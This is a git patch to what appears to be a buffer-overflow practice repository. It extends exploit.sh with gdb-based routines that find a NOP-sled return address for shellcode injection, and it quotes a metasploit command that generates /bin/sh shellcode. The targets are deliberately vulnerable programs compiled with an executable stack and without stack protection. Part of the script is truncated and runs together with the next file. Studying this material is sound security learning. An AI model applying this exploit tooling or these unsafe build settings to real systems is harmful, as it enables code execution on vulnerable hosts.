From 315745e24bf37a5fd8324e737272dc4b594dfd7e Mon Sep 17 00:00:00 2001 From: Toni Uhlig Date: Thu, 13 Apr 2017 03:57:20 +0200 Subject: return adr finder --- .gitignore | 1 + Makefile | 2 +- dump32.gdb | 3 ++ dump64.gdb | 3 ++ exploit.sh | 117 +++++++++++++++++++++++++++++++++++++++++-------------- funcjmp_simple.c | 2 +- overflow.c | 9 ++--- 7 files changed, 101 insertions(+), 36 deletions(-) create mode 100644 dump32.gdb create mode 100644 dump64.gdb diff --git a/.gitignore b/.gitignore index bd8d165..17082e4 100644 --- a/.gitignore +++ b/.gitignore @@ -8,4 +8,5 @@ sc-test sc-test_x64 funcjmp_simple funcjmp_ext +funcjmp_ext_x86 format diff --git a/Makefile b/Makefile index 8854367..5e5ba04 100644 --- a/Makefile +++ b/Makefile @@ -4,7 +4,7 @@ RM := rm CC := gcc STRIP := strip LBITS := $(shell getconf LONG_BIT) -CFLAGS += -Wall +CFLAGS += -Wall -O0 OCFLAGS += -zexecstack -znorelro -fno-stack-protector -fno-pie -ggdb -static X86_FLAGS = -m32 -mpreferred-stack-boundary=2 X64_FLAGS = -m64 -mpreferred-stack-boundary=4 diff --git a/dump32.gdb b/dump32.gdb new file mode 100644 index 0000000..aa088da --- /dev/null +++ b/dump32.gdb @@ -0,0 +1,3 @@ +run +info r +x/300xw $esp-0x300 diff --git a/dump64.gdb b/dump64.gdb new file mode 100644 index 0000000..3facd15 --- /dev/null +++ b/dump64.gdb @@ -0,0 +1,3 @@ +run +info r +x/300xw $rsp-0x300 diff --git a/exploit.sh b/exploit.sh index 55d79e1..d986fe4 100755 --- a/exploit.sh +++ b/exploit.sh @@ -1,41 +1,100 @@ #!/bin/sh -# shellcode generated with metasploit (exec /bin/sh): +# generate shellcode with metasploit (exec /bin/sh): # ./msfpayload linux/x86/exec cmd=/bin/sh R | ./msfencode -b '\x00\x09\x0a\x0d\x1b\x20' # uses (currently) only self-written shellcode .. + +DIR="$(dirname $0)" + +find_return_adr32() { + if [ -z "$1" -o -z "$2" -o -z "$3" ]; then + return 1 + fi + ret=$(gdb -batch -x "${DIR}/dump32.gdb" --args $1 $2) + adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) + if [ $? -ne 0 ]; then + echo "$0: no adr found: ${adr}" + return 1 + fi + chs=$(echo ${adr} | cut -d ' ' -f $3) + if [ $? -ne 0 ]; then + echo "$0: check adr index: $3" + return 1 + fi + echo $(echo "${chs}" | sed 's/0x\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)/\\x\4\\x\3\\x\2\\x\1/') + return 0 +} + +find_return_adr64() { + if [ -z "$1" -o -z "$2" -o -z "$3" ]; then + return 1 + fi + ret=$(gdb -batch -x "${DIR}/dump64.gdb" --args $1 $2) + adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) + if [ $? -ne 0 ]; then + echo "$0: no adr found: ${adr}" + return 1 + fi + chs=$(echo ${adr} | cut -d ' ' -f $3) + if [ $? -ne 0 ]; then + echo "$0: check adr index: $3" + return 1 + fi +python - < 1) { - overflow(argv[1], buf); + overflow(argv[1]); } else { fprintf(stderr, "arg1 missing\n"); return(1); -- cgit v1.2.3